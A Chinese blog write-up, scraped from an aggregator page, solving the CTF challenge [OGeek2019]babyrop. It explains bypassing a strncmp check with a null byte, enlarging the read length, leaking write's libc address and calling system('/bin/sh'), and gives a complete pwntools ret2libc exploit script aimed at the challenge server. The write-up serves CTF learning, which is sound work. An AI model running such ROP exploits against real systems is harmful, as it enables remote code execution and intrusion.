[OGeek2019]babyrop

news2024/11/24 12:15:05

小白垃圾笔记不建议阅读。。。。

这道题额………………做了好几天。。

更离谱的是还把ubuntu16给玩坏了。

师傅说kali可以打通,气得我连夜下卡里

后来发现不是版本的问题,是我的脚本的问题。libc写的不对。

先分析这道题。

32位程序。没有canary,没有pie,只有一个NX

ida  里 main函数

 那么a1来自哪里?a1实际上是传入的参数v2

v2 = sub_804871F(buf); 

v2是sub_804871f返回的数据buf[7]

所以要想溢出首先要绕过buf[7]这一关,将buf[7]这里设置成\xff

这样就可以复制\xff个字节了。

那么如何是设置?

这一行:标准输入到buf那么我们如果要设置buf[7]=\xff

的话需要填充这样

b'b'*7+b'\xff'

数组是从0开始的。所以buf[7]实际对应的是第八个数据

 但是有一个事情需要注意

第14行,如果比较n个字符相同返回0

, 

 

所以我们还需要绕过strlen,让他比较0个字符,这样是相等的,就会返回0,if里的退出语句就不会被执行。

那么更改第一次payload

b'\x00'+ b'b'*+b'\xff'

 这样才可以利用溢出点。

那么我们第一次溢出泄露出write的真实地址。从而用于计算system和binsh的地址,然后再次构造payload,执行system函数。

脚本如下:

from pwn import *
from LibcSearcher3 import  *

#print(hex(puts_addr))  # 输出puts函数的地址
debug=0
if debug:
    p=process('./pwn')
    libc=ELF('/lib/i386-linux-gnu/libc.so.6') #这里的libc是ldd查看的第二行=>后的地址
    
    elf=ELF('./pwn')
    #p=process('',env={'LD_PRELOAD':'./libc.so'})
    context.log_level='debug'
    #context.libc=ELF('./libc-2.23.so')
else:
    p=remote('node4.buuoj.cn',27035)
    elf=ELF('./pwn')
    context.log_level='debug'
    libc=ELF('./libc-2.23.so')
def ru(x):
    return p.recvuntil(x)

def se(x):
    p.sendline(x)

write_plt=elf.plt['write']

write_got=elf.got['write']
main=0x08048825
payload1=b'\x00'+b'b'*6+b'\xff'      #+b'b'*223+b'b'*4+p32(write_plt)+p32(main) +p32(1)+p32(write_got)+p32(4)
se(payload1)
t=p.recv(8)
payload2=b'b'*0xe7+b'b'*4+p32(write_plt)+p32(main) +p32(1)+p32(write_got)+p32(4)
se(payload2)
write_add=u32(p.recv(4))
print(hex(write_add))
libc_base=write_add-libc.symbols['write']
system_add=libc_base+libc.symbols['system']
bin_sh_add=libc_base+next(libc.search(b'/bin/sh'))
print('libc_base:%x'%libc_base)
print('system:%x'%system_add)
print('bin_sh_add:%x'%bin_sh_add)
payload3=b'b'*0xe7+b'b'*4+p32(system_add)+b'aaaa'+p32(bin_sh_add)
se(payload1)
p.recv(8)
se(payload3)
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/519331.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

串口与wifi模块

经过以下学习,我们掌握: AT指令与wifi模块的测试方法:通过CH340直接测试,研究各种AT指令下wifi模块的响应信息形式。编程,使用串口中断接收wifi模块对AT指令的响应信息以及透传数据,通过判断提高指令执行的…

C语言函数大全-- w 开头的函数(1)

C语言函数大全 本篇介绍C语言函数大全-- w 开头的函数 1. wcscat 1.1 函数说明 函数声明函数功能wchar_t * wcscat(wchar_t *dest, const wchar_t *src);用于将一个宽字符字符串追加到另一个宽字符字符串的末尾 参数: dest : 目标字符串src &#xf…

29.Mybatis—多表操作与注解开发

目录 一、Mybatis学习。 (1)MyBatis的多表操作。 (1.1)一对一查询。 (1.2)一对多查询。 (1.3)多对多查询。 (1.4)三种查询知识小结。 一、Mybatis学习。…

算法修炼之练气篇——练气十二层

博主:命运之光 专栏:算法修炼之练气篇 前言:每天练习五道题,炼气篇大概会练习200道题左右,题目有C语言网上的题,也有洛谷上面的题,题目简单适合新手入门。(代码都是命运之光自己写的…

从零开始学习Vue3:掌握前端开发的核心技能——更新中

这里写目录标题 一、了解ts1、ts是js的超集 二、掌握ts基本写法1、数据类型2、对象使用3、类4、多态5、类修饰符6、存储器7、抽象类 一、了解ts 1、ts是js的超集 即你可以在ts中使用原生js语法:JavaScript 更多功能 TypeScript** js是弱类型语言,而t…

ESP32设备驱动-LIS3DSH加速度传感器驱动

LIS3DSH加速度传感器驱动 文章目录 LIS3DSH加速度传感器驱动1、LIS3DH介绍2、硬件准备3、软件准备4、驱动实现1、LIS3DH介绍 LIS3DSH 是一款超低功耗高性能三轴线性加速度计,属于“纳米”系列,具有嵌入式状态机,可通过编程实现自主应用。 LIS3DSH 具有 2g/4g/6g/8g/16g 的动…

八、Consul注册中心

目录 1、到官网下载Consul https://www.consul.io/ 2、解压下载好的压缩包 3、配置系统环境变量 4、WINR启动cmd窗口,输入consul启动命令 5、启动完成后访问Consul页面 http://localhost:8500(8500为Consul默认端口号) 6、server-mem…

〖Python网络爬虫实战㉔〗- Ajax数据爬取之Ajax 分析案例

订阅:新手可以订阅我的其他专栏。免费阶段订阅量1000 python项目实战 Python编程基础教程系列(零基础小白搬砖逆袭) 说明:本专栏持续更新中,目前专栏免费订阅,在转为付费专栏前订阅本专栏的,可以免费订阅付…

Git安装及使用

Git简介 Git是什么 Git是目前世界上最先进的分布式版本控制系统(Version Control System)。 Git的功能 Git安装 Git官网:https://git-scm.com/ 打开安装程序后,一直点击下一步,直到以下位置: 这里选择第一项,即…

Spring基础且核心的两大概念——IoC 与 DI

什么是Spring? Spring 全称 Spring Framework,它是一个目前市场上最流行、结构最庞大的开源框架,之所以如此,是因为其有独特且全面的应用场景,这样好的生态才使企业一直对青睐。 注意这句话:Spring 是包含了…

Vector - 常用CAN工具 - CANoe软件安装常见问题

目录 一、确认电脑系统盘是否满足要求,CANoe软件对PC要求如下: 二、确认软件安装包完整 三、确认软件与电脑系统之间的兼容性 四、关闭后台程序 五、安装软件 六、清空临时文件夹 七、尝试在其他电脑上安装 一、确认电脑系统盘是否满足要求&#…

LLVM代码空间优化(一) 编译器自带的优化选项

最近项目组遇到编译安全固件,超出了r52安全核SRAM自带空间问题。急需要找寻方法优化代码体积(代码段大小数据段大小stackbss段)方法,目前初步分析只有代码段&数据段有优化的可能,bss和stack优化空间并不大。有方法…

Unity Audio -- (5)声音的可用性考量

在某些情况下,用户可能会关闭声音或者让音量降低至很小的水平,用户本身的听力情况(用户可能有听力障碍,失聪等情况)也有差异。一个好的设计者应该要考虑到项目的可用性,音频也不例外。本节我们来看看如何能…

由于找不到msvcr100.dll,msvcr100.dll丢失怎样修复

在我们打开游戏或者软件的时候,电脑提示由于找不到msvcr100.dll文件,无法执行此代码是什么意思?msvcr100.dll为什么会丢失,又该如何修复呢?相信这些问题困扰着不少小伙伴,昨天是准备玩吃鸡游戏的时候&#…

被面试官故意刁难,太难了...

今年的金三银四,我和大多数的同行一样加入了升职涨薪的潮水,我早在2个月前就开始准备,我觉得自己在技术方面完全没有问题,于是这两个月我每天在公司摸鱼2小时,回家刷2小时,前前后后刷了几千到面试题&#x…

【LeetCode困难】1263. 推箱子

「推箱子」是一款风靡全球的益智小游戏,玩家需要将箱子推到仓库中的目标位置。 游戏地图用大小为 m x n 的网格 grid 表示,其中每个元素可以是墙、地板或者是箱子。 现在你将作为玩家参与游戏,按规则将箱子 ‘B’ 移动到目标位置 ‘T’ &am…

设计模式|代理模式

代理模式介绍 ​代理模式指为其他对象提供一种代理,以控制对这个对象的访问。在某些情况下,一个对象若不能直接引用另一个对象,而代理对象可以在客户端与目标对象之间起到中介的作用。 代理模式使用场景 普通代理 普通代理模式是指在代理模…

C++的string类使用介绍

string类 1.为什么要学习string类?1.1.C语言中的字符串1.2. 日常中 2. 标准库中的string类2.2 string类(对于单字节的字符)的常用接口说明①string常见的构造函数②string类对象的容量操作③string类对象的访问以及遍历操作④string类对象的修改操作⑤string类非成员…

OrCAD怎样把原理图输出为DXF格式

OrCAD怎样把原理图输出为DXF格式 又有段时间没分享文章了,想想主要还是自媒体写点内容确实不容易,要不断坚持下来更不容易,一直以来也就是凭着“乐于分享”的心在不定时更新。 今天分享的主题是:OrCAD怎样把原理图输出为DXF格式…

标准CSO

Cheng R, Jin Y. A competitive swarm optimizer for large scale optimization[J]. IEEE transactions on cybernetics, 2014, 45(2): 191-204. 1.1 背景介绍 CSO(competitive swarm optimizer)算法是在PSO(particle swarm optimization&a…